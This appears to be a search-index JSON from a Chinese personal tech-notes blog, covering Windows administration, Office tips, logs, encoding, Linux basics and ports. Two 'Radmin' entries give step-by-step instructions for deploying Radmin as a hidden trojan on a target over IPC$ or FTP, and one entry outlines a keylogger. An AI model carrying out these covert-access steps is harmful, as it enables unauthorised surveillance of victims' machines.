  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "**作用:**  储存 & 验证 用户账号.*SAM 数据库默认位置:*`C:\WINDOWS\system32\config`每台工作组环境下的电脑都有自己的本机安全账户数据库.工作组电脑的登录验证过程:开机 输入账户密码电脑去 SAM 数据库验证.如果账号存在 而且密码也对 那就能登录."
} ,
  
{
  "title"    : "Radmin",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-Radmin.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "## Radmin- 攻击前 先端口扫描.由于蠕虫病毒具有自动攻击和快速繁殖的特性,因此,它占网络攻击的大约90%,通常是系统扫描或同步攻击。- 端口扫描在网络扫描中大约占了96%,- UDP(User Datagram PRotocol)占3.7%。- 剩余的0.3%是用户名和密码扫描、NetBIOS域登录信息和SNMP管理数据等。因为这些攻击可能会感染所有的Windows系统。同时,在发送流量之前,要求ISP对所有的NetBIOS流量进行过滤。端口号    服务  攻击事件数     135445    windows rpc    分别为42次和457次表明可能感染了最新的windows病毒或蠕虫病毒57    email    56次黑客利用fx工具对这个端口进行扫描,寻找微软web服务器弱点1080312865888080    代理服务25    smtp服务    56次黑客探测smtp服务器并发送垃圾邮件信号161    snmp服务   937次成功获得snmp可能会使黑客完全控制路由器、防火墙或交换机1433    微软sql服务   147次表明计算机可能已经感染了sql slammer蠕虫病毒53    dns    1797次表明防火墙或lan配置可能有问题第二章 木马的制作 首先,是在安装目录下找到这3个文件。"AdmDll.dll" "r\_server.exe" "raddrv.dll"把它们复制,粘贴到安全的地方。 然后,是导出注册表,方法是:开始----运行----输入regedit----在打开的注册表编辑器里找到HKEY\_LOCAL\_MACHINE----在该项目中找到SOFTWARE项----在这个项目里,我们看到一个熟悉的名字Radmin,还等什么,点击选择。在注册表编辑器的工具栏里,就是左上脚,有一个注册表(R),看到吗?点击---导出注册表文件---注意保存的文件名“radmin.reg”,怎么样,你导出来了吗? 现在有了上面2步准备的4个文件,我们的木马就已经OK了。简单吧! 忘记强调,做好了木马,最后要注意移除服务哦。原因。。。呵呵 第三章 控制台的安装 建议删除刚才安装radmin2.1版本,重新下载安装radmin3.03.0版的画面细致,性能稳定。上面不安装3.0版的原因是,这个版现在只有控制台,没有服务端。以后推出的话,我会补充新的教程。 "
} ,
  
{
  "title"    : "Radmin / Remote",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-Radmin-Remote.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "## Radmin / RemoteRemote Administrator把Radmin的密码,选项和安装服务设置好,并且在hide那里打上“勾”(如果不打“勾”的话,到时候入侵的时候,目标的任务栏会出现一个小托盘,这样我们就容易暴露了)三:利用IPC$或FTP攻击目标,映射目标C盘,把本机C:\winnt\system32下的r\_server.exe和admdll.dll2个文件复制到目标C盘下的winnt\system32\里面 四:开始——运行,输入:telnet,然后输入r\_server /install,然后再输入:net start r\_server 五:连接到目标看看是不是可以看到对方在干什么了!- -!!!"
} ,
  
{
  "title"    : "Outlook Problems",
  "category" : "",
  "tags"     : "Outlook",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-Outlook-Problems.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "## Outlook ProblemsOutLook 问题 首先用 office 自带的 scanprt.exe 工具修复.c  program file  microsoft office  office 12  scanprt.exe (有两个软件.都试试  应该是后面一个.)文件被谁使用:win7: 资源监视器.  CPU  关联的句柄右边搜索  文件名称  就能看出被谁占用了.xp: 下载软件: [ProcessExplorer][1]un1.  内置的 收件箱修复工具  Scanpst.exe2. 下载专业软件: [Outlook pst 修复][2]scanpst.exe要修复 .pst 文件    在“开始”菜单上,单击“运行”。    在“打开”框中,输入    drive:\Program Files\Common Files\System\Mapi\LocaleID\scanpst.exe[1]:	https://technet.microsoft.com/en-us/sysinternals/bb896653[2]:	http://www.yodot.com/zh/zh-outlook-pst-repair/"
} ,
  
{
  "title"    : "Office - 恢复未保存文件",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-Office-%E6%81%A2%E5%A4%8D%E6%9C%AA%E4%BF%9D%E5%AD%98%E6%96%87%E4%BB%B6.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "office 2010+ 默认开启自动保存功能的!文件  选项 →保存  …..1. 以前保存过的文件 最后退出没保存.2. office 2010.文件    信息   管理文档. 这里有的话就能恢复.2. 以前没保存过的文件 退出 没保存.3. 文件 信息 管理版本  恢复未保存文件 "
} ,
  
{
  "title"    : "NTFS 权限",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-NTFS-%E6%9D%83%E9%99%90.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "NTFS 权限:Xcacls.vbs 工具 能修改+ 查看权限xp win2000 win2003 是测试过能用的 win7 不一定win7 需要 wmi  才能用 这个脚本.wmi windows management instrumentation   windows 管理工具. 管理数据和 操作的基础模块. 可以用这个去管理本地或者远程计算机上的资源.下载 exe 解压出来一个 xcacls.bs 文件将脚本引擎  wscript 改为 cscript   因为这个脚本最适合在 cscript 下运行改脚本引擎 值影响 脚本向屏幕写入的方式Wscript 根据对话框 封包写入每一行Cscript 将每一行命令写入命令窗口.如果不想换脚本引擎 那么 必须:cscript.exe xcacls.vbs如果改了 只需: xcacls.vbs查看语法命令:xcacls.vbs /?如:  c:\test 文件夹权限xcacls.vbs c:\test这个 需要 打开终端 输入 cscript.exe /h:cscript然后 cmd 定位到 xcacls.vbs 所在的文件夹  然后终端输入 xcacls.vbs 就正常运行了,   就是右键属性 高级 安全 下面的具体权限 只是这个 是文本 可以导出文件而已.....1 看某个文件夹  某人/组 的具体权限属性  安全 →高级   有效权限2某对象(文件/文件夹) 关联的 NTFS 权限用命令 cacls d:\xx.txtcacls i:\office IBM\Xujian:(OI)(CI)FBUILTIN\Administrators:(OI)(CI)FSH\Boss:(OI)(CI)FBUILTIN\Administrators:FBUILTIN\Administrators:(OI)(CI)(IO)FNT AUTHORITY\SYSTEM:FNT AUTHORITY\SYSTEM:(OI)(CI)(IO)F3.   批量查看对象的 ntfs 权限powershell 提供非常丰富的 批量管理功能如 test 文件夹下的  所有文本文档的有效权限get-acl c:\test\*.txt为了方便查看 可以用 管道符号 | 将结果传输到 Format-list  命令.  修改显示格式 如: Get-act c:\test\*.txt | Format-list 将对象的 ntfs 权限导出文本 用\> 命令get-acl c:\test\*.txt | Format-list \> c:\aa.txt工具 :1.    Powershell     支持 使用参数  将输出 导出到 csv 文件.     export-csv2.  Fileacl   软件 下载 通过 /sub:n 来设定列举子文件夹的层数.3.  showacls  /s 实现列举子文件夹.   只能列举或者不列举   优点: 输出整齐 一文件夹为单位 进行列举.高级文件权限:根目录 TS.  开共享和安全 共享 任何人可读写安全: 不继承 权限继承 是从上级文件夹继承下来的.   本级文件夹关闭共享 可以选择 保留 或者 删除上级留下来的程序.TS 下面有 A、B、C 三个文件夹.  a 下面有 a1 a2   b下面有 b1 b2   c 下面有 c1 c2如果某人xx要有 c2的读写权限    别的都不能读写.: 可以看文件名称⁃ 首先 ts 要开共享  任何人可读写.   取消继承.  安全给"
} ,
  
{
  "title"    : "Messy code 乱码",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-Messy-code-%E4%B9%B1%E7%A0%81.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "## Messy code 乱码**Windows**- 原版英文系统: 显示中文有问题:	Control Panel 	--\> Regional and Language Options 	--\> "Language" Tab 	--\> 	检查这个有没有打钩  也就是 东亚语言支持   "Install files for East Asian Languages" 	有的话--\> Advanced --\> select "Chinese(PRC)"这样可以显示中文 	没有的话  就要安装语言了. 这个就很麻烦很麻烦了  不要折腾了..."
} ,
  
{
  "title"    : "Log Event",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-Log-Event.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "## Log Event *Log-file need protected !!  should not deleted by others.*> 日志文件 不能被删除 但是能被清空!!!  最多给只读权限.1. chane the default log-file path. 	2. add file permission. *Log Function:*1. 记录 系统&程序&服务 运行的每个细节. 	> 如: 安装搜狗输入法  会有个 sogou 服务事件被记录. 	> 如: 打印机服务的启动关闭. 也有记录.	2. 阅读日志,有助于*诊断和解决系统的故障**日志种类:* 1. 内核及系统日志:	这种日志数据有系统服务syslog统一管理,根据其主配置文件“/etc/syslog.conf”中的设置决定将内核消息及各种系统程序记录到什么位置。系统中有相当一部分程序会把自己的日志文件交由syslog管理,因而这些程序使用的日志记录也具有相似的格式。   	2. 用户日志:		记录linux系统 *用户登录及退出系统的相关信息*		包括用户名,登录的终端,登录时间,来源主机,正在使用的进程操作等。   	3. 程序日志:		有些应用程序会选择由自己独立管理一份日志文件,用于记录本程序运行过程中的各种时间信息。		由于这些程序只负责管理自己的日志,因此不同的程序所使用的日志记录格式也可能会存在较大的差异。- 域登录日志:	administrative tools  event viewer →开关机日志??6005  开机6006 关机*Log File Path :    C: / Widnows / System32 / config *查看日志:           系统自带的事件查看器.  . ### 日志类别 :> 服务器不同开启的日志也不同- *AppEvent.evt    应用程序事件*  	按照严重程度分三种 : 	1. 错误      很严重  比如 数据丢失 	2. 警告     不严重   但是以后有可能导致问题 	3. 信息      程序或者服务的成功操作- *SecEvent.evt   安全事件*	审核   成功/失败.     比如 尝试登陆 windows 是否成功.- *SysEvent.evt    设置事件*	域控的时间??- DNS   /  FTP  / WWW 日志等等### **事件 ID :***每种类型的事件 都有一个唯一的 ID6006 :  日志服务停止6005 :  日志服务启动9:  打印机设置....528 账户登陆注销592 服务进程启动600 启动服务的账户被记录.linux系统本身和大部分服务器程序的日志默认都放在“/var/log”下,如下:查看“/var/log”目录下的所有文件及目录。   下面介绍一下我们常见的一些日志文件。   “/var/log/messages”:记录linux内核消息及各种应用程序的公共日志信息,包括启动、IO错误、网络错误、程序故障等。   “/var/log/cron”:记录crond计划任务产生的事件信息。   “/var/log/dmesg”:记录linux系统在引导过程中的各种事件信息。   “/var/log/maillog”:记录进入或发出系统的电子邮件活动。   “/var/log/lastlog”:记录每个用户最近的登录事件。   “/var/log/rpmpkgs”:记录系统中安装的各rpm包列表信息。   “/var/log/secure”:记录用户认证相关的安全事件信息。   “/var/log/wtmp”:记录每个用户登录、注销及系统启动和停机事件。   “/var/log/btmp”:记录失败的、错误的登录尝试及验证事件。   ....日志文件分析   对于大多数文本格式的日志文件、只要使用tail、more、less、cat等文本处理工具就可以查看日志的内容。而对于一些二进制格式的日志文件,则需要使用特定的查询命令。日志的格式   对于syslog服务统一管理的大部分日志文件,使用的日志记录格式基本上都是相同的。   如下:以公共日志“/var/log/messages”文件的记录格式为例。   其中每一行表示一条日志消息,每一条消息包括以下四个字段。   时间标签:消息发出的日期和时间。   主机名:生成消息的计算机的名称。   子系统名称:发出消息的应用程序的名称。   消息:消息的具体内容。日志消息的级别   根据日志消息的重要程度不同,将其分为不同的优先级别(数字等级越小,优先级越高,消息越重要)   如下:日志的消息级别 分析内核及系统日志     内核及系统日志功能主要由默认安装的sysklogd-1.4.1-39.2软件包提供,该软件包安装了klogd、syslogd两个程序,并通过syslog服务进行控制,分别用于记录系统内核的消息和各种应用程序的消息。syslog服务的配置文件为“/etc/syslog.conf”。如下:查看“/etc/syslog.conf”文件中的内容,可以了解到系统默认的日志设置。   从配置文件中可以看出,受syslogd服务管理的日志文件都是linux系统中最主要的日志文件,它们记录了linux系统中内核,用户认证,邮件,计划任务等最基本的系统消息。分析用户日志   在wtmp、btmp、lastlog等日志文件中,保存了系统用户登录,退出等相关的事件消息。但是这些文件都是二进制的数据文件,不能直接使用tail、less等文本查看工具进行浏览,需要使用users、who、w、last和lastb等用户查询命令来获取日志信息。   1)查询当前登录的用户情况users、who、w命令。   users命令——简单输出当前登录的用户名称,每个显示的用户名对应一个登录会话。   who命令——用于报告当前登录到系统中的每个用户的信息。   w命令——显示当前系统中的每个用户及其所运行的进程信息,比users、who命令的输出内容要更详细。   2)查询用户登录的历史记录last、lastb命令   last命令——用于查询成功登录到系统的用户记录,最近的登录情况将显示在最前面。   lastb命令——用于查询登录失败的用户记录,比喻登录的用户名错误、密码不正确等情况都将记录在案。分析程序日志   在linux系统中,还有相当一部分应用程序并没有使用syslogd服务来管理日志,而是由程序自己维护日志记录。   如下:这些程序的日志都将使用专门的日志分析工具分析。     应用程序的日志,我们在以后学习linux服务当中会接触的更多,小编在这里就略略带过了。因为那个实在是很复杂,说起来也很枯燥。所以在这里主要是了解分析系统日志和用户日志就可以了。大家如果有看不懂的可以给我留言,我会及时回复大家的。日志文件不但可以保存在本地的计算机上,还可保存在远程的日志服务器上,为了安全我们可以将一些比较重要的日志文件保存到远程计算机上,以免日志文件的损坏或丢失。如下图:更改日志服务的配置文件可以将本地计算机的日志保存到远程服务器上。"
} ,
  
{
  "title"    : "Keyboard  Listen",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-Keyboard-Listen.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "## Keyboard  ListenPowerShell 使用 Hook ( 钩子 ) 全局监听 windows 按键事件钩子类别: 本地  全局本地钩子  只记录某个程序的消息全局钩子 电脑所有记录先 写个脚本  log.ps1然后 cmd 打开 输入:powershell.exe -file log.psl然后 所有按键记录 都会保存在 脚本里面设置好的目录下粘帖版  也很重要.keylogger.exe  键盘记录程序(单击游戏 也会有键盘记录 是游戏需要自带的.....)## 键盘记录keylogger"
} ,
  
{
  "title"    : "IIS",
  "category" : "",
  "tags"     : "IIS",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-IIS.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "## IIS- 启用功能- 设置网站路径  端口- 设置 权限- 设置杂项 - 正式发布开启 IIS 功能.浏览器访问  [http://localhost/][1]出来页面就说明网页搭建成功了.如图所示,打开项目的源文件夹,我们会看到许多文件,有.cs、.vscxproj、.config等,其中,我们需要的只有以下几种类型:第一,网站的视图或页面文件,WebForm为aspx,MVC为cshtml或aspx,WebService为asmx等等第二,网站的资源文件,如js脚本、图片、css文件等第三,网站的动态链接库,即整个bin文件夹,及及其中的dll文件第四,网站的配置文件,Web.configWeb页面能打开,但是会报错,500或者401等等,基本上是因为权限,如果401就是压根儿啥权限都没有,500有可能是在写本地数据库的时候,文件禁止写入所造成的服务器错误,于是乎,就请各位童鞋仔细查看网站目录的权限是否给够了。如何检查呢,很简单,打开IIS,在左边的列表中选择一个网站或者虚拟目录,然后在右边的“操作”一栏中,选择“编辑权限”-\>“安全”,如图所示,我的网站目录权限中有“Everyone”、“Authenticated Users”、“SYSTEM”、“Administrators”等几个用户组或者用户名,并允许“Everyone”用户组进行读取和执行、列出等操作,所以网站的脚本、内容都是允许任何人进行访问或者说获取的,有些童鞋的硬盘中没有设置过权限,有可能就没有Everyone的这个权限,,添加Everyone或者IIS_IUSRS访问权限,如果需要文件上传,可以将某个文件夹设为可读可写可执行,只要在需要的权限上打上勾即可,如图_网页的首页文件名为Index.htm,[1]:	http://localhost/"
} ,
  
{
  "title"    : "Guest Account",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-Guest-Account.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "## Guest Account关闭 guest  启用高级共享密码 进行访问启用 guest  关闭高级共享密码  进行访问Guest 账户 进入系统 很多权限会受限: 软件安装 文件夹创立.电脑需要给别人用,为了更好的保护隐私 就需要创建 Guest 账户.Guest 账户安全性原则 : 不能被其他计算机访问.方便 打印机共享 文件共享 不要密码(就算你登录电脑是要密码的)1. 先开启 guest 功能2. 允许网络访问: 默认是拒绝 从网络访问 Guest 账户的. gpedit.msc 计算机设置  windows 设置 安全设置 本地策略 用户权限分配拒绝从网络访问这台计算机  删除 Guest 账户.3. 文件夹 或者 打印机 共享里面添加 guest"
} ,
  
{
  "title"    : "File in use",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-File-in-use.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "## File in use - Win**win7:** 资源监视器.  CPU  关联的句柄右边搜索  文件名称  就能看出被谁占用了.**xp:** 下载软件: [ProcessExplorer][1][1]:	https://technet.microsoft.com/en-us/sysinternals/bb896653"
} ,
  
{
  "title"    : "Excel 技巧",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-Excel-%E6%8A%80%E5%B7%A7.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "## Excel 技巧| A | B | C ||:---:|:---:|:---:|| 1 | 60 || 2 | 70 || 3 | 80 || 4 | 90 || 5 | 10 || 6 | 100 |	IF(A3>1,1,0)  >  A3 单元格 的值大于1 就返回1 否则返回0	IF(B1>75,IF(AND(B1>90),"优秀","良好"),"差")> 如果  B1 大于 75 则继续执行第二个函数  判断 B1 是不是大于90. > B175  ; 75\90 优秀 #### LOOKUP  功能: 一个表格 每人一行 每人都有 姓名 性别 手机 身份证 爱好你知道某人的名字 要查他 身份证 .查询一行或一列  查找另一行或列中的相同位置的值.VLOOKUP   按行 查找 表/区域 中的内容OFFICE 官网教程[https://support.office.com/zh-cn/article/VLOOKUP-函数-0bbc8083-26fe-4963-8ab8-93a18ad188a1?ui=zh-CN&rs=zh-CN&ad=CN][1]HLOOKUP功能:在表格首列查找指定的数据,  并返回查找出来的结果.	语法: vlookup(lookup_value,table_array,col_index_num,range_lookup_)语法解释:	lookup_value : 要查找的值,可以是数值文本或者引用必须位于表格的最左列	Table_array : 用于查找数据的区域  上面的查找值 必须位于这个区域的最左列.  可以是单元格区域 或者区域名称.			Row_index_num : table_array  待返回的匹配值的 行号.	Col_index_num : table_array  待返回的匹配值的 列号.					range_lookup : 逻辑值 , 函数返回结果 是精确匹配 还是近似匹配.	True / 省略 :  近似匹配	False : 精确匹配_ 需在去做查找数据的数据表,需返回某列值的列号,逻辑值 True或者 False) 查找替换:	要把 * 号 替换成 ×	由于 * 是特殊的通配符    要在前面加 才能正常替换删除多个 特定行:查找 关键字查找全部 查找 框里面会列出所有的 关键字行   全选 ctrl a  去表格上的高亮行 右键 删除 整行. 合并单元格  =con???(A1,B1,C1)    合并数据.对比数据: 可以查找重复项  实现对比.[1]:	https://support.office.com/zh-cn/article/VLOOKUP-%E5%87%BD%E6%95%B0-0bbc8083-26fe-4963-8ab8-93a18ad188a1?ui=zh-CN&rs=zh-CN&ad=CN"
} ,
  
{
  "title"    : "Commands",
  "category" : "",
  "tags"     : "💻-CMD",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-Commands.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "Win 重启网卡 命令  ipconfig/renew**IP/Mac info**`ipconfig/all`   **系统启动项**`msconfig`**注册表:**`regedit`**远程连接**`mstsc`    Microsoft terminal services client  **策略组**`gpedit.msc`  "
} ,
  
{
  "title"    : "软件是否安装",
  "category" : "",
  "tags"     : "",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/%E8%BD%AF%E4%BB%B6%E6%98%AF%E5%90%A6%E5%AE%89%E8%A3%85.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "debianapt-cache policy lrzsz"
} ,
  
{
  "title"    : "编码-乱码",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/%E7%BC%96%E7%A0%81-%E4%B9%B1%E7%A0%81.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## 编码-乱码、二进制、bit-Bytecharacter encoding    字符编码编码种类:几乎每个国家都有几种编码,全世界通用的是:unicode. 兼容性最好.Unicode: Unicode  UTF-7   UTF-8   UTF-16   UTF-32中国大陆:  GB 2312    EUC    GBK(规定文件为GB13000 GB 18030港澳台:    大五码 香港增补字符集    中文信息交换码(CCCII)日本:   ISO/IEC 2022    Shift JIS    EUC越南:   越南信息交换标准代码印度:      印度文字信息交换码# 二进制:计算机根据有没有通电的真空管 来记录信息 通电就是1,没通电就是0;所以电脑只认识 0/1   这个就是二进制  # bit / byte我们把0/1 称为 bit  但是bit实在太小  每份简单的数据都会使用8bits的大小来记录.所以定义了 byte.   1Byte = 8 bits# 编码系统:计算机数据 是二进制的  人类数值运算是十进制的 人类文字则有很多语言计算机要显示文字 就要进行一系列的转换才行  也就需要 编码系统(数值编码+文字编码).## 数值编码:十进制的 3456          = 3*10³ + 4*10² + 5*10¹ + 6*10 二进制转十进制:1101010    = 1*2  + 1*2  + 0*2  + 1*2³  + 0*2² +  1*2¹ + 0\*2  =106 十进制转二进制:106/2=53     整除  0  53/2=26+1  不整除  126/2=13            0 13/2=6+1           1 6/2=3              03/2=1+1            1 1由下往上写 就是106 的二进制 表示  1101010 ## 文字编码系统 也就是 字符对照表格.文档电脑里面的实际资料一堆二进制的  010101001  编码系统:   用的是十进制   比如65 对应 大写A 66 对应 大写B67 对应 大写C 实际显示出来的资料 就是A B C **编译器:** C C++ Java 等等  把英语 转译成电脑的01(机器语言) . 方便修改程序 没电的电脑是一堆废铁有电的电脑是一堆会电人的废铁.  软件才是电脑的灵魂.软件分两大类:  一个是系统软件 一个是应用程序由于电脑硬件根据是否通电只认识0101非常不利于程序员修改 光光转换编码就是个大工程 所以就有了编译器这个东西.操作系统(operating system 也就是 OS )操作系统的核心(kernel) 功能 : 管理所有的硬件,让cpu开始判断逻辑 运算数值 让内存 载入/读取数据 让硬盘开始被存储让网卡可以传输数据等等 各种周边设备的运转由于操作系统的核心非常重要, 万一被软件不小心停止掉或者破坏 会导致系统崩溃.所以 操作系统的核心程序 在内存中是受到保护的,并且开机后 一直在内存中.有了底层的操作系统  再配上相应的软件 就能为所欲为了.**乱码原因: 编码对照表弄错(创建文件用的 a 编码 打开文件用的 b 编码) 导致乱码.常用的英文编码表    ASCII系统 每个符号(英文.数字.符号) 都占用1bytes   也就是有2⁸=256种变化.常用的文字编码系统  big5每个中文字 占用2bytes 理论有2¹⁶ =65536  6万多个中文汉字实际big5 编码只定义了一万多汉字 所以很多汉字不正常显示. Unicode编码系统: UTF8 或者万国码.为了解决big5 国际组织 跳出来定制了 汉字乱码这个问题  **乱码实例:**Mac 文本乱码: 查看文件所用编码: vi 打开文件  命令输入 :set fileencoding显示: fileencoding=gb18030  这个就是文本所用编码转换编码   :set fileencoding=utf-8Github Gui 中文乱码 原因:  乱码文件 文本编码用的 gb10830 什么的  git gui 默认用 utf-8 的解决办法:      终端输入:  git config —global gui.encoding utf-8git 配置文件位置   /.gitconfig"
} ,
  
{
  "title"    : "简介",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/%E7%AE%80%E4%BB%8B.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## Linux # Linux-Basic  简介- Linux:  unix 演变过来, Linux 的内核是免费的.- 发行版: Linux内核 + 应用软件 做一个打包. 有些收费,有些免费.- 知名发行版: Ubuntu、RedHat、CentOS、Debian、Fedora、SuSE…….- CentOS :ReaHat 企业版的克隆.相当稳定.> 学习建议: 学命令窗口,不用图形界面.  > init: 系统所有进程的起点(老祖宗)没有这个进程,任何进程都启动不了.| Hotkeys  |         简介        ||:-------- |:------------------:|| Tab      | 命令目录补全         || Ctrl + C | 终止当前命令.        || Ctrl + D | 退出当前终端 = exit || Ctrl + Z | 暂停进程,fg 恢复     || Ctrl + L | 清屏.              |# Man  查看帮助文档.# 系统根目录结构	bin   dev  home  lib64    media  opt   root sbin  sys  usr	boot  etc  lib   lost+found  mnt  proc  run srv   tmp  var- /bin  Binary (二进制)的缩写。这个目录存放着最经常使用的命令。- /boot Linux 核心文件,包括一些连接文件以及镜像文件。- /dev  Device(设备)的缩写。存放 Linux 的外部设备,  	>  Linux 中访问设备的方式和访问文件的方式是相同的。- /etc 所有的系统管理所需要的配置文件和子目录。- /home 用户的主目录,每个用户一个目录.- /lib 这个目录里存放着系统最基本的动态连接共享库,其作用类似于 Windows 里的 DLL 文件。几乎所有的应用程序都需要用到这些共享库。- /media 例如U盘、光驱等等,当识别后,linux 会把识别的设备挂载到这个目录下。- /mnt 系统提供该目录是为了让用户临时挂载别的文件系统的,如:光驱.- /opt 这是给主机额外安装软件所摆放的目录。比如你安装一个 ORACLE 数据库则就可以放到这个目录下。默认是空的。- /proc 这个目录是一个虚拟的目录,它是系统内存的映射,我们可以通过直接访问这个目录来获取系统信息。这个目录的内容不在硬盘上而是在内存里,我们也可以直接修改里面的某些文件,比如可以通过下面的命令来屏蔽主机的 ping 命令,使别人无法 ping 你的机器:echo 1 \> /proc/sys/net/ipv4/icmp\_echo\_ignore\_all。- /root 该目录为系统管理员,也称作超级权限者的用户主目录。- /sbin s 就是 Super User 的意思,这里存放的是系统管理员使用的系统管理程序。- /srv 该目录存放一些服务启动之后需要提取的数据。- /tmp 这个目录是用来存放一些临时文件的。- /usr 重要目录,用户的很多应用程序和文件都放在这.> 类似与 windows 下的 program files目录。- /usr/bin:系统用户使用的应用程序。- /usr/sbin:超级用户使用的比较高级的管理程序和系统守护程序。- /usr/src:内核源代码默认的放置目录。- /var 这个目录中存放着在不断扩充着的东西,我们习惯将那些经常被修改的目录放在这个目录下。包括各种日志文件。在 linux 系统中,有几个目录是比较重要的,平时需要注意不要误删除或者随意更改内部文件。  /etc: 这个是系统中的配置文件,更改该目录可能会导致系统不能启动。  /bin, /sbin, /usr/bin, /usr/sbin: 这是系统预设的执行文件的放置目录,比如 ls 就是在 /bin/ls 目录下的。值得提出的是,/bin, /usr/bin 是给系统用户使用的指令(除 root 外的通用户),而 /sbin, /usr/sbin 则是给 root 使用的指令。  /var: 这是一个非常重要的目录,系统上跑了很多程序,那么每个程序都会有相应的日志产生,而这些日志就被记录到这个目录下,具体在 /var/log 目录下,另外 mail 的预设放置也是在这里。### 如何正确关机如果你要关机,必须要保证当前系统中没有其他用户在线。  查看在线用户: who 这个指令,  查看网络状态, netstat -a 这个指令,  查看背景执行的程序: ps -aux 这个指令。#### 正确的关机流程为:sysnc ? shutdown ? reboot ? haltsync 将数据由内存同步到硬盘中。shutdown 关机指令,你可以man shutdown 来看一下帮助文档。例如你可以运行如下命令关机:shutdown –h 10 ‘This server will shutdown after 10 mins’ 这个命令告诉大家,计算机将在10分钟后关机,并且会显示在登陆用户的当前屏幕中。Shutdown –h now 立马关机Shutdown –h 20:25 系统会在今天20:25关机Shutdown –h +10 十分钟后关机Shutdown –r now 系统立马重启Shutdown –r +10 系统十分钟后重启reboot 就是重启,等同于 shutdown –r nowhalt 关闭系统,等同于shutdown –h now  poweroff最后总结一下,不管是重启系统还是关闭系统,首先要运行 sync 命令,把内存中的数据写到磁盘中。关机的命令有 shutdown –h now halt poweroff  init 0 , 重启系统的命令有 shutdown –r now reboot init 6。### 忘记 root 密码如何做Windows 忘记管理员密码,用光盘清除密码.  linux   忘记 root 密码,进入单用户模式更改一下 root 密码即可。"
} ,
  
{
  "title"    : "端口 Port",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/%E7%AB%AF%E5%8F%A3-Port.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## 端口 Port### 操作系统 & 进程 & 线程操作系统的设计:1. 多进程形式: 允许多个任务同时进行	2. 多线程形式: 单个任务猜分成不同的部分.		3. 协调: 防止进程和线程产生冲突. 允许进程和线程共享资源.工厂  多核CPU          一个 cpu 运行一个进程车间  进程: Process 工人  线程: Thread     多个工人协作完成一个进程.房间  内存空间.车间空间是工人共享.  内存空间是共享的.每个线程都能使用.车间的房间 要规划作用:有些给一个人用. 厕所: 简单&效率高. 优先采用.有些给几个人用. 厨房比如厕所.只能一个人进.有人在用 别人只能等,实现方法: 互斥锁.Mutex防止 多个线程同时读写某一块区域.门口加锁. 别人看到锁 就排队. 这叫 厨房: 可容纳10个人. 超出10 只能外面等实现方法: 信号量.Semaphore门口挂10把钥匙. 进门取钥匙.出门还钥匙. 没钥匙就等.保证多个线程不会互相冲突.### 为什么要有端口:路由器:    把数据包顺利的传送到目的主机。操作系统支持多程序(进程)同时运行.主机接收到的数据包传送给众多同时运行的进程中的哪一个呢?端口机制便由此被引入进来。端口其实就是队,系统为各个进程分配了不同的队,数据包按照目的端口被推入相应的队中,等待被进程取用.接受数据包的进程需要开启它自己的端口,发送数据包的进程也需要开启端口,这样数据才能相互通信.> 发送/接受端的端口号码不要求一样! **一台电脑的端口有 2^16个!** 范围是从0 655350-1024 端口一般被系统征用的.  一般都是1024+的端口号 随机给你一个.电脑是为人服务的,他需要接受一些指令来调整系统功能.操作系统 就像一个闭合的圆圈,这个圆是由很多线段(端口)组成的.操作系统设计者,把这个圆圈截成好多段,这些线段就叫端口- 如果端口关闭,相应的程序不能得到命令.- 如果端口打开,相应的程序就能得到命令.接受外部数据并执行.#### **周知端口(Well Known Ports) 范围: 0 - 1023其中80端口分配给WWW服务,21端口分配给FTP服务等。输入网址的时候是不必指定端口号的,因为在默认情况下WWW服务的端口是“80”。如果不是默认的端口号则应该在 地址栏上指定端口号!比如使用“8080”作为WWW服务的端口,则需要在地址栏里输入“网址:8080”。有些系统协议使用固定的端口号,它是不能被改变的,> 139 端口专门用于NetBIOS与TCP/IP之间的通信,不能手动改变。#### **注册端口 范围:1024 - 